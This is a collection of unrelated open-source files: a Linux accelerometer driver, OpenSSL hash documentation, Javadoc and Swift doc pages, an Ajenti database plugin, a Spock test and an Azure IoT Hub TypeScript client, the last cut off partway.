iio_device_register(indio_dev); if (ret < 0) { dev_err(&client->dev, "unable to register iio device %d\n", ret); goto err_buffer_cleanup; } return 0; err_trigger_unregister: iio_trigger_unregister(data->dready_trig); err_buffer_cleanup: iio_triggered_buffer_cleanup(indio_dev); return ret; } static int mxc4005_remove(struct i2c_client *client) { struct iio_dev *indio_dev = i2c_get_clientdata(client); struct mxc4005_data *data = iio_priv(indio_dev); iio_device_unregister(indio_dev); iio_triggered_buffer_cleanup(indio_dev); if (data->dready_trig) iio_trigger_unregister(data->dready_trig); return 0; } static const struct acpi_device_id mxc4005_acpi_match[] = { {"MXC4005", 0}, { }, }; MODULE_DEVICE_TABLE(acpi, mxc4005_acpi_match); static const struct i2c_device_id mxc4005_id[] = { {"mxc4005", 0}, { }, }; MODULE_DEVICE_TABLE(i2c, mxc4005_id); static struct i2c_driver mxc4005_driver = { .driver = { .name = MXC4005_DRV_NAME, .acpi_match_table = ACPI_PTR(mxc4005_acpi_match), }, .probe = mxc4005_probe, .remove = mxc4005_remove, .id_table = mxc4005_id, }; module_i2c_driver(mxc4005_driver); MODULE_AUTHOR("Teodora Baluta <[email protected]>"); MODULE_LICENSE("GPL v2"); MODULE_DESCRIPTION("MXC4005 3-axis accelerometer driver");
{ "pile_set_name": "Github" }
uniform int64 s = 0; export void f_f(uniform float RET[], uniform float aFOO[]) { float a = aFOO[programIndex]; float delta = 1; float b = atomic_add_global(&s, delta); RET[programIndex] = reduce_add(b); } export void result(uniform float RET[]) { RET[programIndex] = reduce_add(programIndex); }
{ "pile_set_name": "Github" }
=pod =head1 NAME RIPEMD160, RIPEMD160_Init, RIPEMD160_Update, RIPEMD160_Final - RIPEMD-160 hash function =head1 SYNOPSIS #include <openssl/ripemd.h> unsigned char *RIPEMD160(const unsigned char *d, unsigned long n, unsigned char *md); int RIPEMD160_Init(RIPEMD160_CTX *c); int RIPEMD160_Update(RIPEMD_CTX *c, const void *data, unsigned long len); int RIPEMD160_Final(unsigned char *md, RIPEMD160_CTX *c); =head1 DESCRIPTION RIPEMD-160 is a cryptographic hash function with a 160 bit output. RIPEMD160() computes the RIPEMD-160 message digest of the B<n> bytes at B<d> and places it in B<md> (which must have space for RIPEMD160_DIGEST_LENGTH == 20 bytes of output). If B<md> is NULL, the digest is placed in a static array. The following functions may be used if the message is not completely stored in memory: RIPEMD160_Init() initializes a B<RIPEMD160_CTX> structure. RIPEMD160_Update() can be called repeatedly with chunks of the message to be hashed (B<len> bytes at B<data>). RIPEMD160_Final() places the message digest in B<md>, which must have space for RIPEMD160_DIGEST_LENGTH == 20 bytes of output, and erases the B<RIPEMD160_CTX>. Applications should use the higher level functions L<EVP_DigestInit(3)|EVP_DigestInit(3)> etc. instead of calling the hash functions directly. =head1 RETURN VALUES RIPEMD160() returns a pointer to the hash value. RIPEMD160_Init(), RIPEMD160_Update() and RIPEMD160_Final() return 1 for success, 0 otherwise. =head1 CONFORMING TO ISO/IEC 10118-3 (draft) (??) =head1 SEE ALSO L<sha(3)|sha(3)>, L<hmac(3)|hmac(3)>, L<EVP_DigestInit(3)|EVP_DigestInit(3)> =head1 HISTORY RIPEMD160(), RIPEMD160_Init(), RIPEMD160_Update() and RIPEMD160_Final() are available since SSLeay 0.9.0. =cut
{ "pile_set_name": "Github" }
<!DOCTYPE HTML> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (11) on Fri Feb 15 15:05:48 CET 2019 --> <title>Uses of Class javax0.license3j.hardware.Network.Interface.Data (License3j 3.1.0-SNAPSHOT API)</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="dc.created" content="2019-02-15"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> <link rel="stylesheet" type="text/css" href="../../../../jquery/jquery-ui.css" title="Style"> <script type="text/javascript" src="../../../../script.js"></script> <script type="text/javascript" src="../../../../jquery/jszip/dist/jszip.min.js"></script> <script type="text/javascript" src="../../../../jquery/jszip-utils/dist/jszip-utils.min.js"></script> <!--[if IE]> <script type="text/javascript" src="../../../../jquery/jszip-utils/dist/jszip-utils-ie.min.js"></script> <![endif]--> <script type="text/javascript" src="../../../../jquery/jquery-3.3.1.js"></script> <script type="text/javascript" src="../../../../jquery/jquery-migrate-3.0.1.js"></script> <script type="text/javascript" src="../../../../jquery/jquery-ui.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class javax0.license3j.hardware.Network.Interface.Data (License3j 3.1.0-SNAPSHOT API)"; } } catch(err) { } //--> var pathtoroot = "../../../../"; var useModuleDirectories = true; loadScripts(document, 'script');</script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <header role="banner"> <nav role="navigation"> <div class="fixedNav"> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a id="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../index.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../Network.Interface.Data.html" title="class in javax0.license3j.hardware">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses.html">All&nbsp;Classes</a></li> </ul> <ul class="navListSearch"> <li><label for="search">SEARCH:</label> <input type="text" id="search" value="search" disabled="disabled"> <input type="reset" id="reset" value="reset" disabled="disabled"> </li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <a id="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> </div> <div class="navPadding">&nbsp;</div> <script type="text/javascript"><!-- $('.navPadding').css('padding-top', $('.fixedNav').css("height")); //--> </script> </nav> </header> <main role="main"> <div class="header"> <h2 title="Uses of Class javax0.license3j.hardware.Network.Interface.Data" class="title">Uses of Class<br>javax0.license3j.hardware.Network.Interface.Data</h2> </div> <div class="classUseContainer">No usage of javax0.license3j.hardware.Network.Interface.Data</div> </main> <footer role="contentinfo"> <nav role="navigation"> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a id="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a id="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../index.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../Network.Interface.Data.html" title="class in javax0.license3j.hardware">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> </div> <a id="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </nav> <p class="legalCopy"><small>Copyright &#169; 2019. All rights reserved.</small></p> </footer> </body> </html>
{ "pile_set_name": "Github" }
--- layout: "default" title: "ReferenceWritableKeyPath" description: "Swift documentation for 'ReferenceWritableKeyPath': A key path that supports reading from and writing to the resulting value." keywords: "ReferenceWritableKeyPath,class,swift,documentation" root: "/v4.2" --- <div class="intro-declaration"><code class="language-swift">class ReferenceWritableKeyPath&lt;Root, Value&gt;</code></div> <div class="discussion comment"> <p>A key path that supports reading from and writing to the resulting value with reference semantics.</p> </div> <table class="standard"> <tr> <th id="inheritance">Inheritance</th> <td> <code class="inherits">AnyKeyPath, Equatable, Hashable, KeyPath, PartialKeyPath, WritableKeyPath, _AppendKeyPath</code> <span class="viz"><a href="hierarchy/">View Protocol Hierarchy &rarr;</a></span> </td> </tr> <tr> <th>Import</th> <td><code class="language-swift">import Swift</code></td> </tr> </table>
{ "pile_set_name": "Github" }
from ajenti.plugins.main.api import SectionPlugin from ajenti.ui import on from ajenti.ui.binder import Binder class Database (object): def __init__(self): self.name = '' class User (object): def __init__(self): self.name = '' self.host = '' class DBPlugin (SectionPlugin): service_name = '' service_buttons = [] has_users = True def init(self): self.append(self.ui.inflate('db_common:main')) self.binder = Binder(None, self) self.find_type('servicebar').buttons = self.service_buttons def delete_db(db, c): self.query_drop(db) self.refresh() self.find('databases').delete_item = delete_db def delete_user(user, c): self.query_drop_user(user) self.refresh() self.find('users').delete_item = delete_user def on_page_load(self): self.refresh() @on('sql-run', 'click') def on_sql_run(self): try: result = self.query_sql(self.find('sql-db').value, self.find('sql-input').value) self.context.notify('info', _('Query finished')) except Exception as e: self.context.notify('error', str(e)) return tbl = self.find('sql-output') tbl.empty() if len(result) > 200: self.context.notify('info', _('Output cut from %i rows to 200') % len(result)) result = result[:200] for row in result: erow = self.ui.create('dtr') tbl.append(erow) for cell in row: ecell = self.ui.create('dtd') ecell.append(self.ui.create('label', text=str(cell))) erow.append(ecell) @on('add-db', 'click') def on_add_db(self): self.find('db-name-dialog').value = '' self.find('db-name-dialog').visible = True @on('add-user', 'click') def on_add_user(self): self.find('add-user-dialog').visible = True def refresh(self): self.binder.setup(self).populate() self.databases = [] self.users = [] try: self.databases = self.query_databases() if self.has_users: self.users = self.query_users() except Exception as e: import traceback; traceback.print_exc(); self.context.notify('error', str(e)) if hasattr(self, 'config_class'): self.context.launch('configure-plugin', plugin=self.config_class.get()) return self.binder.unpopulate() self.find('sql-db').labels = self.find('sql-db').values = [x.name for x in self.databases] self.binder.populate() self.find_type('servicebar').reload() @on('db-name-dialog', 'submit') def on_db_name_dialog_submit(self, value=None): try: self.query_create(value) except Exception as e: self.context.notify('error', str(e)) return self.refresh() @on('add-user-dialog', 'button') def on_add_user_dialog(self, button=None): d = self.find('add-user-dialog') d.visible = False if button == 'ok': u = User() u.name = d.find('name').value u.host = d.find('host').value u.password = d.find('password').value try: self.query_create_user(u) except Exception as e: self.context.notify('error', str(e)) return self.refresh() def query_sql(self, db, sql): raise NotImplementedError() def query_databases(self): raise NotImplementedError() def query_drop(self, db): raise NotImplementedError() def query_create(self, name): raise NotImplementedError() def query_users(self): raise NotImplementedError() def query_create_user(self, user): raise NotImplementedError() def query_drop_user(self, user): raise NotImplementedError()
{ "pile_set_name": "Github" }
/* * * Copyright 2019 Netflix, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package com.netflix.genie.web.agent.services.impl import com.netflix.genie.common.external.dtos.v4.AgentClientMetadata import com.netflix.genie.web.agent.inspectors.AgentMetadataInspector import com.netflix.genie.web.agent.inspectors.InspectionReport import spock.lang.Specification class AgentFilterServiceImplSpec extends Specification { List<AgentMetadataInspector> inspectors AgentFilterServiceImpl service AgentClientMetadata agentClientMetadata void setup() { this.inspectors = [ Mock(AgentMetadataInspector), Mock(AgentMetadataInspector), ] this.agentClientMetadata = Mock(AgentClientMetadata) this.service = new AgentFilterServiceImpl(inspectors) } def "Default accept"() { InspectionReport finalDecision this.service = new AgentFilterServiceImpl([]) when: finalDecision = service.inspectAgentMetadata(agentClientMetadata) then: finalDecision.getDecision() == InspectionReport.Decision.ACCEPT !finalDecision.getMessage().isEmpty() } def "Inspect and accept"() { InspectionReport finalDecision when: finalDecision = service.inspectAgentMetadata(agentClientMetadata) then: 1 * inspectors[0].inspect(agentClientMetadata) >> InspectionReport.newAcceptance("Welcome") 1 * inspectors[1].inspect(agentClientMetadata) >> InspectionReport.newAcceptance("Welcome") finalDecision.getDecision() == InspectionReport.Decision.ACCEPT !finalDecision.getMessage().isEmpty() } def "Inspect and reject"() { InspectionReport finalDecision when: finalDecision = service.inspectAgentMetadata(agentClientMetadata) then: 1 * inspectors[0].inspect(agentClientMetadata) >> InspectionReport.newRejection("Thou shall not pass") 0 * inspectors[1].inspect(agentClientMetadata) finalDecision.getDecision() == InspectionReport.Decision.REJECT !finalDecision.getMessage().isEmpty() } }
{ "pile_set_name": "Github" }
/* * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for * license information. * * Code generated by Microsoft (R) AutoRest Code Generator. * Changes may cause incorrect behavior and will be lost if the code is * regenerated. */ import * as msRest from "@azure/ms-rest-js"; import * as msRestAzure from "@azure/ms-rest-azure-js"; import * as Models from "../models"; import * as Mappers from "../models/iotHubResourceMappers"; import * as Parameters from "../models/parameters"; import { IotHubClientContext } from "../iotHubClientContext"; /** Class representing a IotHubResource. */ export class IotHubResource { private readonly client: IotHubClientContext; /** * Create a IotHubResource. * @param {IotHubClientContext} client Reference to the service client. */ constructor(client: IotHubClientContext) { this.client = client; } /** * Get the non-security related metadata of an IoT hub. * @summary Get the non-security related metadata of an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetResponse> */ get(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param callback The callback */ get(resourceGroupName: string, resourceName: string, callback: msRest.ServiceCallback<Models.IotHubDescription>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param options The optional parameters * @param callback The callback */ get(resourceGroupName: string, resourceName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubDescription>): void; get(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubDescription>, callback?: msRest.ServiceCallback<Models.IotHubDescription>): Promise<Models.IotHubResourceGetResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, options }, getOperationSpec, callback) as Promise<Models.IotHubResourceGetResponse>; } /** * Create or update the metadata of an Iot hub. The usual pattern to modify a property is to * retrieve the IoT hub metadata and security metadata, and then combine them with the modified * values in a new body to update the IoT hub. * @summary Create or update the metadata of an IoT hub. * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param iotHubDescription The IoT hub metadata and security metadata. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceCreateOrUpdateResponse> */ createOrUpdate(resourceGroupName: string, resourceName: string, iotHubDescription: Models.IotHubDescription, options?: Models.IotHubResourceCreateOrUpdateOptionalParams): Promise<Models.IotHubResourceCreateOrUpdateResponse> { return this.beginCreateOrUpdate(resourceGroupName,resourceName,iotHubDescription,options) .then(lroPoller => lroPoller.pollUntilFinished()) as Promise<Models.IotHubResourceCreateOrUpdateResponse>; } /** * Update an existing IoT Hub tags. to update other fields use the CreateOrUpdate method * @summary Update an existing IoT Hubs tags. * @param resourceGroupName Resource group identifier. * @param resourceName Name of iot hub to update. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceUpdateResponse> */ update(resourceGroupName: string, resourceName: string, options?: Models.IotHubResourceUpdateOptionalParams): Promise<Models.IotHubResourceUpdateResponse> { return this.beginUpdate(resourceGroupName,resourceName,options) .then(lroPoller => lroPoller.pollUntilFinished()) as Promise<Models.IotHubResourceUpdateResponse>; } /** * Delete an IoT hub. * @summary Delete an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceDeleteMethodResponse> */ deleteMethod(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceDeleteMethodResponse> { return this.beginDeleteMethod(resourceGroupName,resourceName,options) .then(lroPoller => lroPoller.pollUntilFinished()) as Promise<Models.IotHubResourceDeleteMethodResponse>; } /** * Get all the IoT hubs in a subscription. * @summary Get all the IoT hubs in a subscription * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListBySubscriptionResponse> */ listBySubscription(options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListBySubscriptionResponse>; /** * @param callback The callback */ listBySubscription(callback: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): void; /** * @param options The optional parameters * @param callback The callback */ listBySubscription(options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): void; listBySubscription(options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubDescriptionListResult>, callback?: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): Promise<Models.IotHubResourceListBySubscriptionResponse> { return this.client.sendOperationRequest( { options }, listBySubscriptionOperationSpec, callback) as Promise<Models.IotHubResourceListBySubscriptionResponse>; } /** * Get all the IoT hubs in a resource group. * @summary Get all the IoT hubs in a resource group * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListByResourceGroupResponse> */ listByResourceGroup(resourceGroupName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListByResourceGroupResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param callback The callback */ listByResourceGroup(resourceGroupName: string, callback: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param options The optional parameters * @param callback The callback */ listByResourceGroup(resourceGroupName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): void; listByResourceGroup(resourceGroupName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubDescriptionListResult>, callback?: msRest.ServiceCallback<Models.IotHubDescriptionListResult>): Promise<Models.IotHubResourceListByResourceGroupResponse> { return this.client.sendOperationRequest( { resourceGroupName, options }, listByResourceGroupOperationSpec, callback) as Promise<Models.IotHubResourceListByResourceGroupResponse>; } /** * Get the statistics from an IoT hub. * @summary Get the statistics from an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetStatsResponse> */ getStats(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetStatsResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param callback The callback */ getStats(resourceGroupName: string, resourceName: string, callback: msRest.ServiceCallback<Models.RegistryStatistics>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param options The optional parameters * @param callback The callback */ getStats(resourceGroupName: string, resourceName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.RegistryStatistics>): void; getStats(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.RegistryStatistics>, callback?: msRest.ServiceCallback<Models.RegistryStatistics>): Promise<Models.IotHubResourceGetStatsResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, options }, getStatsOperationSpec, callback) as Promise<Models.IotHubResourceGetStatsResponse>; } /** * Get the list of valid SKUs for an IoT hub. * @summary Get the list of valid SKUs for an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetValidSkusResponse> */ getValidSkus(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetValidSkusResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param callback The callback */ getValidSkus(resourceGroupName: string, resourceName: string, callback: msRest.ServiceCallback<Models.IotHubSkuDescriptionListResult>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param options The optional parameters * @param callback The callback */ getValidSkus(resourceGroupName: string, resourceName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.IotHubSkuDescriptionListResult>): void; getValidSkus(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.IotHubSkuDescriptionListResult>, callback?: msRest.ServiceCallback<Models.IotHubSkuDescriptionListResult>): Promise<Models.IotHubResourceGetValidSkusResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, options }, getValidSkusOperationSpec, callback) as Promise<Models.IotHubResourceGetValidSkusResponse>; } /** * Get a list of the consumer groups in the Event Hub-compatible device-to-cloud endpoint in an IoT * hub. * @summary Get a list of the consumer groups in the Event Hub-compatible device-to-cloud endpoint * in an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListEventHubConsumerGroupsResponse> */ listEventHubConsumerGroups(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListEventHubConsumerGroupsResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint. * @param callback The callback */ listEventHubConsumerGroups(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, callback: msRest.ServiceCallback<Models.EventHubConsumerGroupsListResult>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint. * @param options The optional parameters * @param callback The callback */ listEventHubConsumerGroups(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.EventHubConsumerGroupsListResult>): void; listEventHubConsumerGroups(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.EventHubConsumerGroupsListResult>, callback?: msRest.ServiceCallback<Models.EventHubConsumerGroupsListResult>): Promise<Models.IotHubResourceListEventHubConsumerGroupsResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, eventHubEndpointName, options }, listEventHubConsumerGroupsOperationSpec, callback) as Promise<Models.IotHubResourceListEventHubConsumerGroupsResponse>; } /** * Get a consumer group from the Event Hub-compatible device-to-cloud endpoint for an IoT hub. * @summary Get a consumer group from the Event Hub-compatible device-to-cloud endpoint for an IoT * hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to retrieve. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceGetEventHubConsumerGroupResponse> */ getEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceGetEventHubConsumerGroupResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to retrieve. * @param callback The callback */ getEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, callback: msRest.ServiceCallback<Models.EventHubConsumerGroupInfo>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to retrieve. * @param options The optional parameters * @param callback The callback */ getEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.EventHubConsumerGroupInfo>): void; getEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.EventHubConsumerGroupInfo>, callback?: msRest.ServiceCallback<Models.EventHubConsumerGroupInfo>): Promise<Models.IotHubResourceGetEventHubConsumerGroupResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, eventHubEndpointName, name, options }, getEventHubConsumerGroupOperationSpec, callback) as Promise<Models.IotHubResourceGetEventHubConsumerGroupResponse>; } /** * Add a consumer group to an Event Hub-compatible endpoint in an IoT hub. * @summary Add a consumer group to an Event Hub-compatible endpoint in an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to add. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceCreateEventHubConsumerGroupResponse> */ createEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceCreateEventHubConsumerGroupResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to add. * @param callback The callback */ createEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, callback: msRest.ServiceCallback<Models.EventHubConsumerGroupInfo>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to add. * @param options The optional parameters * @param callback The callback */ createEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.EventHubConsumerGroupInfo>): void; createEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<Models.EventHubConsumerGroupInfo>, callback?: msRest.ServiceCallback<Models.EventHubConsumerGroupInfo>): Promise<Models.IotHubResourceCreateEventHubConsumerGroupResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, eventHubEndpointName, name, options }, createEventHubConsumerGroupOperationSpec, callback) as Promise<Models.IotHubResourceCreateEventHubConsumerGroupResponse>; } /** * Delete a consumer group from an Event Hub-compatible endpoint in an IoT hub. * @summary Delete a consumer group from an Event Hub-compatible endpoint in an IoT hub * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to delete. * @param [options] The optional parameters * @returns Promise<msRest.RestResponse> */ deleteEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options?: msRest.RequestOptionsBase): Promise<msRest.RestResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to delete. * @param callback The callback */ deleteEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, callback: msRest.ServiceCallback<void>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param eventHubEndpointName The name of the Event Hub-compatible endpoint in the IoT hub. * @param name The name of the consumer group to delete. * @param options The optional parameters * @param callback The callback */ deleteEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<void>): void; deleteEventHubConsumerGroup(resourceGroupName: string, resourceName: string, eventHubEndpointName: string, name: string, options?: msRest.RequestOptionsBase | msRest.ServiceCallback<void>, callback?: msRest.ServiceCallback<void>): Promise<msRest.RestResponse> { return this.client.sendOperationRequest( { resourceGroupName, resourceName, eventHubEndpointName, name, options }, deleteEventHubConsumerGroupOperationSpec, callback); } /** * Get a list of all the jobs in an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry. * @summary Get a list of all the jobs in an IoT hub. For more information, see: * https://docs.microsoft.com/azure/iot-hub/iot-hub-devguide-identity-registry * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param [options] The optional parameters * @returns Promise<Models.IotHubResourceListJobsResponse> */ listJobs(resourceGroupName: string, resourceName: string, options?: msRest.RequestOptionsBase): Promise<Models.IotHubResourceListJobsResponse>; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param callback The callback */ listJobs(resourceGroupName: string, resourceName: string, callback: msRest.ServiceCallback<Models.JobResponseListResult>): void; /** * @param resourceGroupName The name of the resource group that contains the IoT hub. * @param resourceName The name of the IoT hub. * @param options The optional parameters * @param callback The callback */ listJobs(resourceGroupName: string, resourceName: string, options: msRest.RequestOptionsBase, callback: msRest.ServiceCallback<Models.JobResponseListResult>): void; listJobs(resourceGroupName: string, resourceName: string, options?: 